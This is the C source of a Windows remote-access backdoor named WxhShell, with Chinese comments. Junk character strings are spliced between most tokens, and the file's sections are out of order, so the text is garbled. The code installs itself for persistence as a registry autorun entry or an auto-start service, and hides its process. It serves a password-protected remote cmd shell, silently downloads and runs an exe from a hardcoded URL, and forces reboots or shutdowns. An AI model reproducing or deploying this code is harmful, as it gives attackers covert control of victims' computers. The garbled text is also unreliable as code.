$ PROCESS_BASIC_INFORMATION pbi; =2oUZjA D&[Z;,CHMA HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [{PqV):p if(NULL == hInst ) return 0; E5B8 Z?$a H(\V+@~>AD g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); R^Bk] g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); } 21j NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .u< U:* K~>jApZ% if (!NtQueryInformationProcess) return 0; ~5t?C<wo xtJAMo>g hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !O\X+#j if(!hProcess) return 0; $au2%NL {of]/3= if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0:dB
9 xYR#%! M CloseHandle(hProcess); <7gMl [(cL/_ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,z66bnjO if(hProcess==NULL) return 0; (G5xkygR9 z`'P>.x
HMODULE hMod; A ^B@VuK char procName[255]; s -Y +x unsigned long cbNeeded; A!;meVUs MCAXt1sL&E if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Wg1tip8s L<@&nx CloseHandle(hProcess); $'$>UFR R|t;p!T if(strstr(procName,"services")) return 1; // 以服务启动 # ,P(isEZ" Gj`f--2GE return 0; // 注册表启动 fSV5 } n|]N7 b' h[l{ 5Z* // 主模块 :GM#&*$2< int StartWxhshell(LPSTR lpCmdLine) ~_}4jnC { J<_ 1z':W) SOCKET wsl; XZ@>]P BOOL val=TRUE; R`C.ha int port=0; ^I./L)0=} struct sockaddr_in door; {Tx 3$eU K.h]JD]o if(wscfg.ws_autoins) Install(); Fd"WlBYy0 f%1wMOzx port=atoi(lpCmdLine); $SF3odpt GI4oQcJ if(port<=0) port=wscfg.ws_port; HWR&C k6g|7^es2 WSADATA data; 4(iS-8{J if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7z>+w L{K*~B -p if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 4JK@<GBK6 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2))t*9;h door.sin_family = AF_INET; KW:r;BFx door.sin_addr.s_addr = inet_addr("127.0.0.1"); y<uE-4 door.sin_port = htons(port); v|To+P6b
.
X0t" if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { K-<n`zg3 closesocket(wsl); ./)j5M return 1; J/gQQ.s } 1Q_ ``.M &U0WkW if(listen(wsl,2) == INVALID_SOCKET) {
/Ef4EX0 closesocket(wsl); |QqWVelc return 1; q @*UUj@ } wL'C1Vr Wxhshell(wsl); <
[w++F~ WSACleanup(); `^f}$R| K*[0dza$ return 0; a}GAB@YI Vd[2u } KPg[-d \
>(zunL // 以NT服务方式启动 PoY>5 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @d
P~X { Wb'*lT0= DWORD status = 0; 1YFAr}M DWORD specificError = 0xfffffff; x/[8Wi,yB Xi*SDy serviceStatus.dwServiceType = SERVICE_WIN32; &{hc serviceStatus.dwCurrentState = SERVICE_START_PENDING; (mY(\mu} serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9OhR41B serviceStatus.dwWin32ExitCode = 0; r)%4-XeV serviceStatus.dwServiceSpecificExitCode = 0; %y3:SUOdx serviceStatus.dwCheckPoint = 0; 5A;"jp^ Z serviceStatus.dwWaitHint = 0; K9LEIby PgqECd)f hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |/2LWc? if (hServiceStatusHandle==0) return; {!g?d<* Xv]*;Bq:SK status = GetLastError(); hX %s]" if (status!=NO_ERROR) TR|;,A[%v# { W6hNJb serviceStatus.dwCurrentState = SERVICE_STOPPED; EP/&m|o|G serviceStatus.dwCheckPoint = 0; Bfu/9ad serviceStatus.dwWaitHint = 0; Mi_[9ku>% serviceStatus.dwWin32ExitCode = status; 9#s,K! !3{ serviceStatus.dwServiceSpecificExitCode = specificError; 5ZZd.9ZgM SetServiceStatus(hServiceStatusHandle, &serviceStatus); sn2r>m3 return; yo'q[YtP' } gt#MeU \-DM-NrZ1U serviceStatus.dwCurrentState = SERVICE_RUNNING; sTJJE3TBI serviceStatus.dwCheckPoint = 0; cF-Jc}h serviceStatus.dwWaitHint = 0; +'!h-x1y~ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :17ee } gCjH%=s
R>^5$[ // 处理NT服务事件,比如:启动、停止 1{= E? VOID WINAPI NTServiceHandler(DWORD fdwControl) x|&[hFXD { k0gJ('zah switch(fdwControl) Vj#%B.#Zbf { &8R-C[A case SERVICE_CONTROL_STOP: (*LTqC serviceStatus.dwWin32ExitCode = 0; oB hL}r serviceStatus.dwCurrentState = SERVICE_STOPPED; 6(!,H<bON serviceStatus.dwCheckPoint = 0; GZ;Z serviceStatus.dwWaitHint = 0; <m-Ni { hB?U5J SetServiceStatus(hServiceStatusHandle, &serviceStatus); wn&[1gBxM } DX]z=d)tc return; H0 {Mlu9 case SERVICE_CONTROL_PAUSE: bWhJ^LD serviceStatus.dwCurrentState = SERVICE_PAUSED; bkJwP s break; hhN(;. case SERVICE_CONTROL_CONTINUE: P?-d[zLA serviceStatus.dwCurrentState = SERVICE_RUNNING; )G}sb*+v? break;
J(H??9(s case SERVICE_CONTROL_INTERROGATE: { mK pD break; [~zE,! }; ju
@%A@s SetServiceStatus(hServiceStatusHandle, &serviceStatus); H@VBP
Q}Q } M'pY-/. @^w!% ?J // 标准应用程序主函数 Pc di int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8^&fZL', { ! hOOpZf7 KFCQYdI`d // 获取操作系统版本 wWp?HDl"M OsIsNt=GetOsVer(); RlG'|xaT GetModuleFileName(NULL,ExeFile,MAX_PATH); |:`?A3^m# a,en8+r] // 从命令行安装 #c8" if(strpbrk(lpCmdLine,"iI")) Install(); C?_t8G./_ &utS\-;G // 下载执行文件 Pl`Bd0 if(wscfg.ws_downexe) { ?S;et2f if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) gDUoc*+h WinExec(wscfg.ws_filenam,SW_HIDE); s (l+{b & } tSw~_s_V 0TuNA\Ug+ if(!OsIsNt) { b}"vIRz // 如果时win9x,隐藏进程并且设置为注册表启动 6
d{D3e[p^ HideProc(); Y9lbf_51 StartWxhshell(lpCmdLine); *,Aa9wa{ } K6PC&+x else ^MF=,U'8 if(StartFromService()) >?:i6&4o // 以服务方式启动 Qe'PAN=B StartServiceCtrlDispatcher(DispatchTable); 5d!z<{` else J:M<9W // 普通方式启动 FQv02V+&< StartWxhshell(lpCmdLine); ,cl"1>lp O V0cr return 0; dNS9<8JX } R[2[[M 'Gm!Jblo@ K~9 jin am)J'i, =========================================== 1{Sx V d@`-!" [jG uO% a'L7y% dnhpWVhn f{oxF?|89 " hyr5D9d _3-,3ia #include <stdio.h> ~"hAb2 #include <string.h> hPX2 Bp #include <windows.h> ))we\I__8 #include <winsock2.h> 5,I*F9[3 #include <winsvc.h> u]++&~i #include <urlmon.h> ,YzC)(- :5qqu{GL #pragma comment (lib, "Ws2_32.lib")
e>s.mH6A #pragma comment (lib, "urlmon.lib") ^AC+nko* kdZ-<O7@ #define MAX_USER 100 // 最大客户端连接数 v6,
o/3Ex #define BUF_SOCK 200 // sock buffer EJ[iOYx #define KEY_BUFF 255 // 输入 buffer :EmMia-)J Ky{I&}+R| #define REBOOT 0 // 重启 4<!}4 #define SHUTDOWN 1 // 关机 yO69p Zzzi\5&gU #define DEF_PORT 5000 // 监听端口 iJ~iJ'vf |cBF-KNZ #define REG_LEN 16 // 注册表键长度 {Rh+]=7 #define SVC_LEN 80 // NT服务名长度 [~rk` ( Nve5 // 从dll定义API E].a|4sh typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); IcNI uv typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); l.LFlwt typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -$Z-hxs^ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); f+(w(~O 5la]l // wxhshell配置信息 rea}Uq+po struct WSCFG { qy0_1xT- int ws_port; // 监听端口 1\9BO:<K char ws_passstr[REG_LEN]; // 口令 Y)-)NLLG;n int ws_autoins; // 安装标记, 1=yes 0=no P+h<{%:* char ws_regname[REG_LEN]; // 注册表键名 l2_E6U" char ws_svcname[REG_LEN]; // 服务名 5&7?0h+I char ws_svcdisp[SVC_LEN]; // 服务显示名 $y |6< char ws_svcdesc[SVC_LEN]; // 服务描述信息 s(DaPhL6Qm char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _J$p< int ws_downexe; // 下载执行标记, 1=yes 0=no Y3F.hk}O char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 41_sSqq;^ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Tx&qp#FS #._6lESK }; ]k%KTvX*G c^/?VmCQ} // default Wxhshell configuration Ns] 9-D struct WSCFG wscfg={DEF_PORT, FWx*&y~$ "xuhuanlingzhe", MjeI?k}LJ 1, F[qIfh4
"Wxhshell", jjlCi<9CQ^ "Wxhshell", ;`Ch2b1+ "WxhShell Service", *d*;M> "Wrsky Windows CmdShell Service", |"(3]f\ "Please Input Your Password: ", zAdVJ58H 1, ?
Gu_UW "http://www.wrsky.com/wxhshell.exe", _O71r}4 "Wxhshell.exe" 2ZFKjj }; T<~[vjA iZqFVr&JF // 消息定义模块 o+WrIAR char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .A f)y_ char *msg_ws_prompt="\n\r? for help\n\r#>"; YSUH*i/% char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; pzp"NKxi char *msg_ws_ext="\n\rExit."; J##X5'a3* char *msg_ws_end="\n\rQuit."; 'S-"*:$,u char *msg_ws_boot="\n\rReboot..."; %b'VEd7 char *msg_ws_poff="\n\rShutdown..."; wUPywV1UO char *msg_ws_down="\n\rSave to "; WYd,tGz `e69kBAm char *msg_ws_err="\n\rErr!"; MrjB[3Td char *msg_ws_ok="\n\rOK!"; 761"S@tf$} {xx;zjt%}} char ExeFile[MAX_PATH]; SNV+.xN int nUser = 0; 9'r3L)[ HANDLE handles[MAX_USER]; ;DWp>jgy int OsIsNt; z Clm'X/ S:T>oFUot SERVICE_STATUS serviceStatus; n`2"(7Wj SERVICE_STATUS_HANDLE hServiceStatusHandle; 5/VB'N#7s :jp$X| // 函数声明
"S} hcAL/ int Install(void); +mF 2yh int Uninstall(void); aD`e]K ^L int DownloadFile(char *sURL, SOCKET wsh); zEL[%(fnc int Boot(int flag); Ljs(<Gm)- void HideProc(void); p%qL0
int GetOsVer(void); B=xZkc int Wxhshell(SOCKET wsl); &K*_/Q
'\ void TalkWithClient(void *cs); ATkqzE`; int CmdShell(SOCKET sock); #6Ph"\G/ int StartFromService(void); 8*){*'bf int StartWxhshell(LPSTR lpCmdLine); .aRxqFi_ 1;9E*= VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); uy%PTi+A VOID WINAPI NTServiceHandler( DWORD fdwControl ); -5B([jHgR 43]&SXprH // 数据结构和表定义 oU6g5 SERVICE_TABLE_ENTRY DispatchTable[] = K&oO+ G^f { K%@SS8!oy {wscfg.ws_svcname, NTServiceMain}, f3&//h8 {NULL, NULL} +f~3FXM }; aQuy*\$$ zL{@LHP // 自我安装 g5'bUYsa int Install(void) yc}t(*A5 { \0& (q%c char svExeFile[MAX_PATH]; ?Qp_4<(5 HKEY key; im\Ws./ strcpy(svExeFile,ExeFile); s'w0pZqj 7oSuLo= // 如果是win9x系统,修改注册表设为自启动 ?2/M W27w if(!OsIsNt) { gVWLY;c 3} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { QVhBHAw RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c>k6i?u:X7 RegCloseKey(key); L(rjjkH if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |n%N'-el RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )[Cm*Xxa$ RegCloseKey(key); $e\R5Lu return 0; :G)x+0u } 4s2ex{$+MA } hkc_>F]Hx } aB_z4dqwU else { ?*dx=UI ps
J 1J // 如果是NT以上系统,安装为系统服务 j>M%?Tw SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); FkkB#Jk4 if (schSCManager!=0) 0`=?ig_ { $~\qoW< SC_HANDLE schService = CreateService D(GHkS*0q ( >FhBl\oIi schSCManager, K 6Ua~N^ wscfg.ws_svcname, >,1LBM|0u wscfg.ws_svcdisp, Y5pNKL SERVICE_ALL_ACCESS, a}{! %5 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , t0(hc7` SERVICE_AUTO_START, |e(x< [s5 SERVICE_ERROR_NORMAL, L0~O6*bk svExeFile, s2kynQ#a NULL, MeS$+9jV( NULL, zvg&o)/[ NULL, {S~$\4vC! NULL, 34+}u,= NULL Fb-TCq1y# ); >iV(8EgBS if (schService!=0) IA!Kpg
W { EeJ]>
1 CloseServiceHandle(schService); lvffQ_t CloseServiceHandle(schSCManager); =Q/i<u strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); exvsf| strcat(svExeFile,wscfg.ws_svcname); BW[K/l~"$: if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { K.I r+SB RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 548BM^^"r RegCloseKey(key); W1(ziP'6 return 0; @e/dQ:Fb } g?sFmD } p^!p7B`qe. CloseServiceHandle(schSCManager); fba3aId[ } VVOt%d } R~([ C]cw@:o% return 1; >i<-rO>kN } 9x\G(w @TDcj~oR? // 自我卸载 FT=>haN int Uninstall(void) 3dLz=.=)' { v8[1E>&vx HKEY key; gw^+[}U# ~E~J*R Ze if(!OsIsNt) { ^DOcw@Z6HC if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { FW,D\51pTP RegDeleteValue(key,wscfg.ws_regname); Y@eUvz RegCloseKey(key); ,vj^AXU if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /zKuVaC RegDeleteValue(key,wscfg.ws_regname); .S;/v--F RegCloseKey(key);
95/C4q return 0; Yn/-m
Z } 1F/&Y}X } CXA8V"@&b/ } hpu(MX\ else { c#Bde-dh m` cG&Ar5 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !T)>q%@ai if (schSCManager!=0) 3[4]G@ { P8f-&( SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); mLSAi2Y if (schService!=0) +l\Dp { TrW3@@}j if(DeleteService(schService)!=0) { R
>TtAm0N CloseServiceHandle(schService); mUxD.;P CloseServiceHandle(schSCManager); HN+z7 Q8hH return 0; U@WT;:.T } i^(<E0vS CloseServiceHandle(schService); oZCO$a } (XQG"G%U6W CloseServiceHandle(schSCManager); Qd&j~cG@ } so*7LM?ib> } \9DTf:!4Z |rQ;|+. return 1; Rx.0P6s } nYHk~<a J4<*KL~a // 从指定url下载文件
Nnw iH int DownloadFile(char *sURL, SOCKET wsh) ;N|6C+y { \=JKeL|6[S HRESULT hr; '
BpRi N char seps[]= "/"; R0WJdW# char *token; 4kiu*T char *file; eJ'ojc3 char myURL[MAX_PATH]; jiat5 char myFILE[MAX_PATH]; d
{4br =z+zg^wsT strcpy(myURL,sURL); OB%y'mo7] token=strtok(myURL,seps); fi1UUJ0
U; while(token!=NULL) ]So%/rOvX { Qa=;Elp:[ file=token; })Jp5vv token=strtok(NULL,seps); _]g6
3q } :n=+$Dq R0>L[1o GetCurrentDirectory(MAX_PATH,myFILE); -9mh|&z` strcat(myFILE, "\\"); BshS@"8r strcat(myFILE, file); XcXd7e send(wsh,myFILE,strlen(myFILE),0); qlu yJpt send(wsh,"...",3,0); 7K~=Q Ec hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); SFHa(JOS if(hr==S_OK) btOC\bUMfD return 0; N^)OlH else ZHT.+X:_ return 1; xAI<<[- <}ev Ow2 } /T?['#:r-) hikun2 // 系统电源模块 ji "*=i int Boot(int flag) OP@PB| { _<8n]0lX3 HANDLE hToken; {r"HR%*u TOKEN_PRIVILEGES tkp; Cpl\}Qn lH[N*9G( if(OsIsNt) { e>[QF+e)y OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %}@^[E) LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &\A$Rj) tkp.PrivilegeCount = 1; F[lHG,g- tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?w.Yx$Z" AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); : v]< h if(flag==REBOOT) { 6i%)'dl if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _$\T;m>'A return 0; ?@ O[$9y } z;-2xD0&U[ else { P_9O8"W if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )vw3Y88 return 0; ~o+u: ] } j=7 ]"% } `'~|DG}a else { hod|o1C& if(flag==REBOOT) { #8'%CUF*<8 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) OHB!ec6W return 0; oD.f/hi0| } Fw|5A"9'a' else { iS"rMgq if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `Tab'7 return 0; [p(Y|~ } :)+cI?\# } Tsa&R:SE 9s}--_k?F2 return 1; h5~tsd}OU } W>Zce="_gN ?wmr~j // win9x进程隐藏模块 ]p~XTZgW void HideProc(void) '1d-N[ { P/27+5(| !=a8^CV HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Es?~Dd if ( hKernel != NULL ) $]O\Ryf6 { :g Ze> pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &.d~
M1Mz ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); aFLm, FreeLibrary(hKernel); %;gD_H4mm } R \iU)QP U!('`TYe return; _c[t.\-`] } h4V.$e<T& c|E // 获取操作系统版本 k1X <jC]P int GetOsVer(void) )+{'p0 { C; ! )<(Vw OSVERSIONINFO winfo; |XeuqZa winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); zdr?1= GetVersionEx(&winfo); zD?<m
J` if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :z.<||T return 1; JTVCaL3Z else tL D.e return 0; *F=wMWa } 2Ddrxc>48 hF6EOCY6D // 客户端句柄模块 )4j#gHN\ int Wxhshell(SOCKET wsl) T1Xm^{ { k)4
SOCKET wsh; Q+S>nL!*#1 struct sockaddr_in client; $AoN,B> DWORD myID; 4%B${zP(.} %6 Bt%H while(nUser<MAX_USER) fuQ?@F { Ehg5u'cj int nSize=sizeof(client); Y]P]^3 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); R:11w#m7w if(wsh==INVALID_SOCKET) return 1; HdVGkv/ 6zyozJA handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); I9_tD@s"( if(handles[nUser]==0) dw'%1g.113 closesocket(wsh); Kg9REL@,s else qW),)i nUser++; <UeO+M( } \ B<(9 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); lv,<[Hw1 |FH/Q-7[ return 0; w+ bMDp } IS"UBJ6p 9;kWuP>k4u // 关闭 socket pkhZW8O void CloseIt(SOCKET wsh) haS`V { JeuW/:Wv closesocket(wsh); (1*?2u*j nUser--; "h\{PoG ExitThread(0); (Zx;GS } $f_Brc:n { Es1Yx\/: // 客户端请求句柄 >AV?g8B; void TalkWithClient(void *cs) -49OE*uF { _<&IpT{w+ KD=T04v SOCKET wsh=(SOCKET)cs; J %URg=r char pwd[SVC_LEN]; u
JGYXlLE char cmd[KEY_BUFF]; }Z"<KF char chr[1]; ^2XoYgv int i,j; &H<-joZ)Z\ ewD61Y8- while (nUser < MAX_USER) { "C%;9_ig$ FX 0^I 0 if(wscfg.ws_passstr) {
n~k;9` if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $U3s:VQ ' //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ybcQ,e //ZeroMemory(pwd,KEY_BUFF); D:M0_4S i=0; >i-cR4=LL{ while(i<SVC_LEN) { Ggsfr;m\` qK#\k@E // 设置超时 Cj,fP[p#7 fd_set FdRead; "3W!p+W struct timeval TimeOut; P8piXG FD_ZERO(&FdRead); PKty'}KF FD_SET(wsh,&FdRead); 3@_je)s TimeOut.tv_sec=8; Jcy TimeOut.tv_usec=0; Jx(%t<2 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Q];+?Pu. if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); UeX3cD w*OZ1| if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D\bW' k]! pwd=chr[0]; i` n,{{x&4 if(chr[0]==0xd || chr[0]==0xa) { rV54-K;`0 pwd=0; pu=Q;E_f[ break; 32:q' } #Q"el3P+q i++; bw ' yX } xLP yV&j- 4L(axjMYU // 如果是非法用户,关闭 socket Cir==7A0 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _\1wLcFj } kbOdg: LEKN%2 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); WEZ(4ah send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s'J8E+&5 `b+f^6SJn while(1) { H@.j@l !Yz~HO,u+ ZeroMemory(cmd,KEY_BUFF); 'cu(
Sd} Gmf.lHr$% // 自动支持客户端 telnet标准 y/'2WO[ j=0; It!PP1$
while(j<KEY_BUFF) { >x eKO2o if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p3 qlVE cmd[j]=chr[0]; 4hr;k0sD if(chr[0]==0xa || chr[0]==0xd) { !Z`~=n3bk cmd[j]=0; :OUNZDL break; .TSj8, } n'U*8ID j++; HJ:s)As } HBXp#$dPc =(3Qbb1i // 下载文件
+,gI| if(strstr(cmd,"http://")) { b(&2/|hd send(wsh,msg_ws_down,strlen(msg_ws_down),0); :w_Zr5H] if(DownloadFile(cmd,wsh)) mpIRe@#Z send(wsh,msg_ws_err,strlen(msg_ws_err),0); *}$T:kTH else b`usRoD{+ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g>CF|Wj } "[q/2vC else { =hH>]$J[ kS%FV;9>( switch(cmd[0]) { G29PdmY$< O$V
6QJ // 帮助 @(,k%84z case '?': { hbD@B.PD send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -SGR) break; HpC|dtro } Ks(+['*S // 安装 . Zrt/; case 'i': { pLE|#58I if(Install()) _>9|"seR send(wsh,msg_ws_err,strlen(msg_ws_err),0); DGz'Dn else ,2qJXMg"=$ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |<96H8 break; U}x2,`PI } h
\hQ // 卸载 5? &k? v@ case 'r': { rbHrG<+7zO if(Uninstall()) {OL*E0 send(wsh,msg_ws_err,strlen(msg_ws_err),0); u-=S_e else /JaH send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %M2.h;9]*\ break; 2l}FOdq } v7&e,:r2E@ // 显示 wxhshell 所在路径 |"8Az0[! case 'p': { WZ"NG| char svExeFile[MAX_PATH];
?}e8g strcpy(svExeFile,"\n\r"); Og4 X3QG strcat(svExeFile,ExeFile); 9OuK}Ssf send(wsh,svExeFile,strlen(svExeFile),0); KJo[!|. break; AU)"L_
i} } R] tHd=kf // 重启 5)+(McJC case 'b': { AyB-+oTf( send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /pan{.< k if(Boot(REBOOT)) 8p,q9Ey send(wsh,msg_ws_err,strlen(msg_ws_err),0); BNw^ _j1 else { /J]Yj, closesocket(wsh); T;XEU%:LK ExitThread(0); @s}I_@ } OB)Vk break; S7N3L." } Qw!cd-zc // 关机 @C k6s case 'd': { wj!p6D;;S send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #O6SEK|Z if(Boot(SHUTDOWN)) @>,3l;\Zh send(wsh,msg_ws_err,strlen(msg_ws_err),0); {a.{x+!5I- else { d8`^;T
;}d closesocket(wsh); [cwc}f^ ExitThread(0); Q#wASd. } _iLXs break; XaW@CW } ~O;!y% // 获取shell Z$ Fh4 case 's': { QU|{(c CmdShell(wsh); R"Nvnpm closesocket(wsh); S5*wUd*p# ExitThread(0); .^>[@w3 break; dd>|1'-] } :{pvA;f // 退出 L MC-1 case 'x': { zNofI$U send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3Bee6N> CloseIt(wsh); &F1h3q)L break; 8W)3rD> } }00mJ]H( // 离开 '}dlVf case 'q': { pN6!IxN$ send(wsh,msg_ws_end,strlen(msg_ws_end),0); zhY VMQ closesocket(wsh); s\_-` [B0 WSACleanup(); \Si@t{`O exit(1); -%*>z'|{ break; 8+{WH/}y8 } }`{>]2 } UeV2`zIg` } D-\\L[ mVfg+d( // 提示信息 ]|18tVXc if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4j|]=58 } fIN8::Cs[ } dRTtDH"% W -<E p<7{ return; }@=m[Zx# } Un@B D}@\ x^^;/%p // shell模块句柄 O9wZx%< int CmdShell(SOCKET sock) -U)6o"O_CV { an={h, STARTUPINFO si; 1v!Xx+} ZeroMemory(&si,sizeof(si)); xfCq;?MupW si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {LYA?w^GT si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; pj;cL]L PROCESS_INFORMATION ProcessInfo; 7GY[l3arxv char cmdline[]="cmd"; v^2K=f[nE CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); A<2_V1 return 0; `An|a~G1 } !yU!ta Q XKN`{h-@ // 自身启动模式 6pDb5@QjTy int StartFromService(void) ZGK*]o=) { L3lf2 8W typedef struct &?YbAo_K { _?#}@? DWORD ExitStatus; mwVH>3{j DWORD PebBaseAddress; ?&EPZq |